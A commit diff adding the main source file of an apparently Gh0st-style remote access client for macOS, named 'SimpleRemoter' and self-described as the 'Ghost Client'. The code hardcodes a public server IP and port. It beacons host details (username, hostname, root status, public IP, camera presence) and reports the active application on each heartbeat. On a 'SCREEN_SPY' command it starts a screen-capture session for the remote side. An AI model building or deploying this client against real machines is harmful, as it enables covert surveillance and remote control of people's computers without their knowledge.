Feature: Implement initial macOS SimpleRemoter client
This commit is contained in:
yuanyuanxiang
548
macos/main.mm
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548
macos/main.mm
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@@ -0,0 +1,548 @@
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#import <Cocoa/Cocoa.h>
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#import <sys/sysctl.h>
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#import <mach/mach.h>
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#import <mach-o/dyld.h>
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#import <pwd.h>
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#import <signal.h>
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#import <unistd.h>
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#import <IOKit/IOKitLib.h>
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#import <fstream>
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#import <thread>
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#import <atomic>
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#import <memory>
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#import <string>
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#import "../client/IOCPClient.h"
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#define XXH_INLINE_ALL
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#include "../common/xxhash.h"
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#import "Permissions.h"
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#import "ScreenHandler.h"
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#import "InputHandler.h"
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#import "SystemManager.h"
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// Global state
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static std::atomic<bool> g_running(true);
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// Client ID (calculated from system info, used by ScreenHandler)
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uint64_t g_myClientID = 0;
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// 远程地址：当前为写死状态，如需调试，请按实际情况修改
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CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
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State g_bExit = S_CLIENT_NORMAL;
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// ============== System Information Functions ==============
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// Get macOS version string (e.g., "macOS 14.0 Sonoma")
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static std::string getMacOSVersion()
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{
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NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
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NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
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(long)version.majorVersion,
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(long)version.minorVersion,
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(long)version.patchVersion];
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return std::string([versionString UTF8String]);
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}
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// Get hostname
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static std::string getHostname()
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{
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char hostname[256] = {};
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gethostname(hostname, sizeof(hostname));
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return std::string(hostname);
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}
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// Get CPU model and frequency
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static std::string getCPUInfo()
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{
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char buf[256] = {};
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size_t size = sizeof(buf);
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if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
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return std::string(buf);
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}
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return "Unknown CPU";
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}
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// Get CPU frequency in MHz
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static int getCPUFrequencyMHz()
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{
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uint64_t freq = 0;
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size_t size = sizeof(freq);
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if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
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return (int)(freq / 1000000);
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}
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return 0;
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}
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// Get number of CPU cores
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static int getCPUCores()
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{
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int cores = 0;
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size_t size = sizeof(cores);
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if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
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return cores;
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}
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return 1;
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}
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// Get total physical memory in GB
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static double getMemoryGB()
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{
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int64_t memSize = 0;
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size_t size = sizeof(memSize);
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if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
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return (double)memSize / (1024.0 * 1024.0 * 1024.0);
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}
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return 0;
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}
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// Get current username
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static std::string getUsername()
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{
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struct passwd* pw = getpwuid(getuid());
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if (pw && pw->pw_name) {
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return std::string(pw->pw_name);
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}
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const char* user = getenv("USER");
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return user ? std::string(user) : "unknown";
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}
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// Get screen resolution
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static std::string getScreenResolution()
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{
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NSScreen* mainScreen = [NSScreen mainScreen];
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if (mainScreen) {
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NSRect frame = [mainScreen frame];
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return [NSString stringWithFormat:@"1:%dx%d",
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(int)frame.size.width, (int)frame.size.height].UTF8String;
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}
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return "0:0x0";
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}
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// Get executable path
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static std::string getExecutablePath()
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{
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char path[PATH_MAX];
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uint32_t size = sizeof(path);
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if (_NSGetExecutablePath(path, &size) == 0) {
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return std::string(path);
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}
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return "";
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}
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// Get current time string (Beijing time, UTC+8)
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static std::string getTimeString()
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{
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NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
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[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
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[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
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NSString* dateString = [formatter stringFromDate:[NSDate date]];
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return std::string([dateString UTF8String]);
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}
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// Get active application name
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static std::string getActiveApp()
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{
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NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
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if (app) {
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NSString* name = [app localizedName];
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if (name) {
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return std::string([name UTF8String]);
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}
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}
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return "";
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}
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// ============== Check if camera exists ==============
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static bool hasCameraDevice()
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{
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// Most MacBooks have built-in FaceTime camera
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// Check model identifier to determine if it's a MacBook
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char model[256] = {};
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size_t size = sizeof(model);
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if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
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std::string modelStr(model);
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// MacBooks (Air/Pro) always have cameras
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if (modelStr.find("MacBook") != std::string::npos) {
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return true;
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}
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// iMac also has camera
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if (modelStr.find("iMac") != std::string::npos) {
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return true;
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}
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}
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// Mac Mini and Mac Pro typically don't have built-in cameras
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return false;
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}
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// ============== Public IP ==============
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// Execute command and return output
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static std::string execCmd(const std::string& cmd)
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{
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std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
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if (!pipe) return "";
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char buf[4096];
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std::string result;
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while (fgets(buf, sizeof(buf), pipe.get())) {
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result += buf;
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}
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// Trim trailing whitespace
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while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
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result.pop_back();
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return result;
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}
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// HTTP GET using curl (macOS has curl built-in)
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static std::string httpGet(const std::string& url, int timeoutSec = 5)
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{
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std::string t = std::to_string(timeoutSec);
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return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
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}
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// Get public IP (try multiple sources)
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static std::string getPublicIP()
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{
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static const char* urls[] = {
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"https://checkip.amazonaws.com",
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"https://api.ipify.org",
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"https://ipinfo.io/ip",
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"https://icanhazip.com",
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"https://ifconfig.me/ip",
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};
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for (auto& url : urls) {
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std::string ip = httpGet(url, 3);
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// Validate: non-empty, contains dot, reasonable length
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if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
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NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
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return ip;
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}
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}
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NSLog(@"getPublicIP: all sources failed");
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return "";
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}
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// ============== Install Time (persistent storage) ==============
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static std::string getInstallTime()
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{
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@autoreleasepool {
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NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
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NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
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if (installTime == nil || [installTime length] == 0) {
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// First run - record current time as install time
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std::string currentTime = getTimeString();
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installTime = [NSString stringWithUTF8String:currentTime.c_str()];
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[defaults setObject:installTime forKey:@"ghost_install_time"];
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[defaults synchronize];
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NSLog(@"First run - recorded install time: %@", installTime);
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}
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return std::string([installTime UTF8String]);
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}
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}
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// ============== Fill LOGIN_INFOR ==============
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static void fillLoginInfo(LOGIN_INFOR& info)
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{
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// Token is set in constructor
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info.bToken = TOKEN_LOGIN;
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// OS Version
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std::string osVer = getMacOSVersion();
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strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
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// CPU MHz
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info.dwCPUMHz = getCPUFrequencyMHz();
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// PC Name (hostname)
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std::string hostname = getHostname();
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strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
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// Webcam
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info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
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// Start time (current session start)
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std::string startTime = getTimeString();
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strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
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// Reserved fields (pipe-separated, must match Windows client order)
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// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
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// 1. Client type
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info.AddReserved("macOS");
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// 2. System bits (OS bits, always 64 on modern macOS)
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info.AddReserved(64);
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// 3. CPU cores
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info.AddReserved(getCPUCores());
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// 4. Memory (GB)
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info.AddReserved(getMemoryGB());
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// 5. File path (executable path)
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std::string exePath = getExecutablePath();
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info.AddReserved(exePath.c_str());
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// 6. Placeholder
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info.AddReserved("?");
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// 7. Install time (first run time, persistent)
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std::string installTime = getInstallTime();
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info.AddReserved(installTime.c_str());
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// 8. Active window / Start time (initial value is start time, updated via heartbeat)
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info.AddReserved(startTime.c_str());
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// 9. Program bits (always 64 on modern macOS)
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info.AddReserved(64);
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// 10. Authorization info (placeholder)
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info.AddReserved("");
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// 11. Location (placeholder, could add GeoIP later)
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info.AddReserved("");
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// 12. Public IP
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std::string pubIP = getPublicIP();
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info.AddReserved(pubIP.c_str());
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// 13. Version
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info.AddReserved("1.0.0");
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// 14. Current username
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std::string username = getUsername();
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info.AddReserved(username.c_str());
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// 15. Is running as root
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info.AddReserved(getuid() == 0 ? 1 : 0);
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// 16. Screen resolution (format: count:widthxheight)
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std::string resolution = getScreenResolution();
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info.AddReserved(resolution.c_str());
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// 17. Client ID (calculated from system info, same algorithm as server)
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// Format: pubIP|hostname|os|cpu|path
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char cpuStr[32];
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snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
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std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
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hostname + "|" +
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osVer + "|" +
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cpuStr + "|" +
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exePath;
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g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
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info.AddReserved(std::to_string(g_myClientID).c_str());
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NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
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osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
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}
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// ============== Signal Handling ==============
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static void signalHandler(int sig)
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{
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NSLog(@"Received signal %d, shutting down...", sig);
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g_running = false;
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}
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static void setupSignals()
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{
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signal(SIGTERM, signalHandler);
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signal(SIGINT, signalHandler);
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signal(SIGHUP, SIG_IGN);
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signal(SIGPIPE, SIG_IGN);
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}
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// ============== Main Entry Point ==============
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// RTT 估算器（参考 RFC 6298 算法，与 Windows 端 KernelManager 一致）
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struct RttEstimator {
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double srtt = 0.0; // 平滑 RTT (秒)
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double rttvar = 0.0; // RTT 波动 (秒)
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double rto = 0.0; // 超时时间 (秒)
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bool initialized = false;
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void update_from_sample(double rtt_ms)
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{
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// 过滤异常值：RTT应在合理范围内 (0, 30000] 毫秒
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if (rtt_ms <= 0 || rtt_ms > 30000)
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return;
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const double alpha = 1.0 / 8;
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const double beta = 1.0 / 4;
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double rtt = rtt_ms / 1000.0;
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if (!initialized) {
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srtt = rtt;
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rttvar = rtt / 2.0;
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rto = srtt + 4.0 * rttvar;
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initialized = true;
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} else {
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rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
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srtt = (1.0 - alpha) * srtt + alpha * rtt;
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rto = srtt + 4.0 * rttvar;
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}
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// 限制最小 RTO（RFC 6298 推荐 1 秒）
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if (rto < 1.0) rto = 1.0;
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}
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};
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RttEstimator g_rttEstimator;
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int g_heartbeatInterval = 5; // 心跳间隔（秒），默认 5 秒，后续可由服务端动态调整
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void* ScreenworkingThread(void* param)
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{
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try {
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std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
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void* clientAddr = ClientObject.get();
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Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
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if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
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std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
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if (!handler->init()) {
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Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
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return NULL;
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}
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ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
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// 连接后立即发送完整的 BITMAPINFO 包（与 Windows 端 ScreenManager 流程一致）
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handler->sendBitmapInfo();
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Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
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while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
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Sleep(1000);
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}
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Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
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} catch (const std::exception& e) {
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Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
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}
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return NULL;
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}
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int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
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{
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if (szBuffer == nullptr || ulLength == 0)
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return TRUE;
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if (szBuffer[0] == COMMAND_BYE) {
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Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
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g_bExit = S_CLIENT_EXIT;
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g_running = false; // Stop main loop to prevent reconnection
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} else if (szBuffer[0] == COMMAND_SHELL) {
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Mprintf("** [%p] Received 'SHELL' command ***\n", user);
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} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
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std::thread(ScreenworkingThread, nullptr).detach();
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Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
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} else if (szBuffer[0] == COMMAND_SYSTEM) {
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Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
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} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
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Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
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} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
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if (ulLength >= 1 + sizeof(HeartbeatACK)) {
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HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
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uint64_t now = GetUnixMs();
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double rtt_ms = (double)(now - ack->Time);
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g_rttEstimator.update_from_sample(rtt_ms);
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// Log at most once per minute
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static uint64_t lastLogTime = 0;
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if (now - lastLogTime >= 60000) {
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lastLogTime = now;
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Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
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user, rtt_ms, g_rttEstimator.srtt * 1000);
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}
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}
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} else if (szBuffer[0] == CMD_MASTERSETTING) {
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int settingSize = ulLength - 1;
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if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
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MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
}
|
||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
} else {
|
||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char* argv[])
|
||||
{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
@autoreleasepool {
|
||||
NSLog(@"=== macOS Ghost Client ===");
|
||||
|
||||
// Setup signal handlers
|
||||
setupSignals();
|
||||
|
||||
// Check permissions
|
||||
NSLog(@"Checking permissions...");
|
||||
|
||||
if (!Permissions::checkScreenCapture()) {
|
||||
NSLog(@"Screen capture permission not granted.");
|
||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
|
||||
Permissions::openScreenCaptureSettings();
|
||||
}
|
||||
|
||||
if (!Permissions::checkAccessibility()) {
|
||||
NSLog(@"Accessibility permission not granted.");
|
||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
|
||||
Permissions::requestAccessibility();
|
||||
}
|
||||
|
||||
// Create client
|
||||
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
|
||||
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
||||
|
||||
// Main event loop
|
||||
NSLog(@"Starting main loop...");
|
||||
LOGIN_INFOR logInfo;
|
||||
fillLoginInfo(logInfo);
|
||||
|
||||
while (g_running) {
|
||||
clock_t c = clock();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
Sleep(5000);
|
||||
continue;
|
||||
}
|
||||
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||
// 等待心跳间隔（每秒检查一次退出条件，保证及时响应）
|
||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||
for (int i = 0; i < interval; ++i) {
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
Sleep(1000);
|
||||
}
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
|
||||
std::string activity = getActiveApp();
|
||||
|
||||
Heartbeat hb;
|
||||
hb.Time = GetUnixMs();
|
||||
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒，转为毫秒
|
||||
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
}
|
||||
}
|
||||
|
||||
NSLog(@"Shutting down...");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user